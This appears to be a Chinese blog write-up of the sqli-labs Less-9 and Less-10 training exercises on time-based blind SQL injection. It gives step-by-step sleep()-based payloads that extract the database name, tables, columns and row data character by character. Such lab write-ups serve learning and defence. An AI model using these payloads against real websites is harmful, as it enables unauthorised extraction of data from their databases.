zoukankan      html  css  js  c++  java
  • sqli-labs less-9 --> less-10

    时间盲注

        利用时间函数,观察不同条件的等待时长;利用sleep(),benchmark()等函数,让MySQL的执行时间变长

        时间盲注多于if这样的函数结合(ifexpr1expr2expr3expr1true,则返回expr2,否则返回expr3的值)

                 If (length(database())>3,sleep(5),1) 如果数据库字符长度大于三则MySQL休眠五秒,否则查询1

                 1’ and If (substr(database(),1,1)=’d’,sleep(5),1)

                          (与布尔盲注基本相同

     --------------------------------------------------------------------------------------------------

    Less-9(时间盲注)

    1.首先判断是否存在注入点

     无论是执行?id=1还是?id=1还是其他,回显都显示正常,联想本题的题目,使用时间的长短来进行判断,执行?id=1’ and sleep(5) --+,发现较长时间才做反应,由此推断存在注入点

    2.爆数据库长度

     执行?id=1’ and if(length(database())=8,sleep(5),1) --+ 判断数据库的长度是否为8

    3.爆数据库名

     执行?id=1' and if(length(database())=8,sleep(5),1) --+   判断数据库长度

     执行?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1) --+  判断数据库名的第一个字符

     同布尔类型的盲注类似,通过尝试得到数据库的库名为security

    4.爆表名

     爆第一个表的长度:

             执行?id=1’ and if(length(select table_name from information_schema.tables where table_schema=’security’ limit 0,1)=6,sleep(5),1) --+,但是报错了,再三检查感觉命令没有错,于是到网上搜寻了一下别人的命令发现

       执行?id=1’ and if(length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))=6,sleep(5),1) --+

                       (色块处是双括号与单括号的区别,经过尝试当使用select * from语法时都需要双括号)

     爆第一个表的名字

            执行?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)=’e’,sleep(5),1) --+,由此得到第一个表的名字为emails,以此类推得到所有的表名

    5.爆字段名

     爆第一个字段名的长度:

           执行?id=1’ and if(length((select column_name from information_schema.columns where table_name=’emails’ limit 0,1))=2,sleep(5),1) --+  得到长度为2

     爆第一个字段名:

           执行?id=1’ and if(substr((select column_name from information_schema.columns where table_name=’emails’ limit 0,1),1,1)=’i’,sleep(5),1) --+  执行正确,以此类推得到第一个字段名为id

    6.爆数据

     执行?id=1’ and if(length((select id from emails limit 0,1))=1,sleep(5),1) --+ 得到第一行数据的长度为1

     执行?id=1’ and if(substr((select id from emails limit 0,1),1,1)=1,sleep(5),1) --+ 得到第一行数据为1,以此类推得到表id下的所有数据

    -------------------------------------------------------END----------------------------------------------------------------

    Less-10(时间盲注)

    1.判断是否存在注入点

     经过尝试执行?id=1” and sleep(5) --+ 回显出现延迟,判断存在注入点,注入方式为:””

    2.less-9方法完全相同

    3.爆数据库

     爆长度:执行?id=1” and if(length(database())=8,sleep(5),1) --+

     爆数据库名:执行?id=1" and if(substr(database(),1,1)='s',sleep(5),1)--+

    4.爆表

     爆长度:执行?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1)--+

     爆表名:执行?id=1" and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+

    5.爆字段

     爆长度:执行?id=1" and if(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2,sleep(5),1)--+

     爆字段名:执行?id=1" and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='i',sleep(5),1)--+

    6.爆数据

     爆长度:执行?id=1" and if(length((select id from emails limit 0,1))=1,sleep(5),1)--+

     爆数据:执行?id=1" and if(substr((select id from emails limit 0,1),1,1)=1,sleep(5),1)--+

    -------------------------------------------------------END----------------------------------------------------------------

  • 相关阅读:
    js(5)关于this的指代值
    bootstrap(2)关于表单
    bootstrap(1)关于排版
    bootstrap基础(0)写在前面的一些话
    js(4) 继承
    js(3)面向对象的程序设计
    js(2)关于作用域和作用域链
    鼠标事件(jQuery方法)
    鼠标事件(JS原生方法)
    键盘事件(在输入框中输入内容后按回车键)
  • 原文地址:https://www.cnblogs.com/B-roin/p/12296962.html
Copyright © 2011-2022 走看看